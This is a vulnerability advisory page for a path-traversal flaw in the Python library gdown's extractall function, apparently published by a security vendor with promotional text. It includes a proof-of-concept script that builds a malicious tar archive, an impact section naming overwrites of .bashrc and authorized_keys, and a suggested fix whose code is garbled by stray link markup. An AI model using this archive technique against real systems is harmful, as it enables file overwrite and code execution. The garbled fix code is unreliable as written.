GHSA-76hw-p97h-883f
MEDIUMGHSA-76hw-p97h-883f is a medium-severity (CVSS 6.5) remote code execution vulnerability in gdown. O3 Security confirms whether GHSA-76hw-p97h-883f is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
gdown Affected by Arbitrary File Write via Path Traversal in gdown.extractall
Blast Radius
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Description
Summary
The gdown library (tested on v5.2.1) is vulnerable to a Path Traversal attack within its extractall functionality. When extracting a maliciously crafted ZIP or TAR archive, the library fails to sanitize or validate the filenames of the archive members. This allow files to be written outside the intended destination directory, potentially leading to arbitrary file overwrite and Remote Code Execution (RCE).
Details
The vulnerability exists in gdown/extractall.py within the extractall() function. The function takes an archive path and a destination directory (to), then calls the underlying extractall() method of Python's tarfile or zipfile modules without validating whether the archive members stay within the to boundary.
Vulnerable Code:
# gdown/extractall.py
def extractall(path, to=None):
# ... (omitted) ...
with opener(path, mode) as f:
f.extractall(path=to) # Vulnerable: No path validation or filters`
Even on modern Python versions (3.12+), if the filter parameter is not explicitly set or if the library's wrapper logic bypasses modern protections, path traversal remains possible as demonstrated in the PoC.
PoC
Steps to Reproduce
- Create the Malicious Archive (
poc.py):
import tarfile
import io
import os
# Create a target directory
os.makedirs("./safe_target/subfolder", exist_ok=True)
# Generate a TAR file containing a member with path traversal
with tarfile.open("evil.tar", "w") as tar:
# Target: escape the subfolder and write to the parent 'safe_target'
payload = tarfile.TarInfo(name="../escape.txt")
content = b"Path Traversal Success!"
payload.size = len(content)
tar.addfile(payload, io.BytesIO(content))
print("[+] evil.tar created.")`
- Execute the Vulnerable Function:
`python3 -c "from gdown import extractall; extractall('evil.tar', to='./safe_target/subfolder')"`
- Verify the Escape:
ls -l ./safe_target/escape.txt
# Output: -rw-r--r-- 1 user user 23 Mar 15 2026 ./safe_target/escape.txt`
Impact
An attacker can provide a specially crafted archive that, when extracted via gdown, overwrites critical files on the victim's system.
- Arbitrary File Overwrite: Overwriting
.bashrc,.ssh/authorized_keys, or configuration files. - Remote Code Execution (RCE): By overwriting executable scripts or Python modules within a virtual environment.
Recommended Mitigation
mplement path validation to ensure that all extracted files are contained within the target directory.
Suggested Fix:
import os
def is_within_directory(directory, target):
abs_directory = os.path.abspath(directory)
abs_target = os.path.abspath(target)
prefix = os.path.commonpath([abs_directory])
return os.path.commonpath([abs_directory, abs_target]) == prefix
# Inside [extractall.py](http://extractall.py/)
with opener(path, mode) as f:
if isinstance(f, tarfile.TarFile):
for member in f.getmembers():
member_path = os.path.join(to, [member.name](http://member.name/))
if not is_within_directory(to, member_path):
raise Exception("Attempted Path Traversal in Tar File")
f.extractall(path=to)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | gdown | all versions | 5.2.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gdown. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update gdown to 5.2.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-76hw-p97h-883f is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-76hw-p97h-883f is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-76hw-p97h-883f. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-76hw-p97h-883f in your dependencies?
O3 detects GHSA-76hw-p97h-883f across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.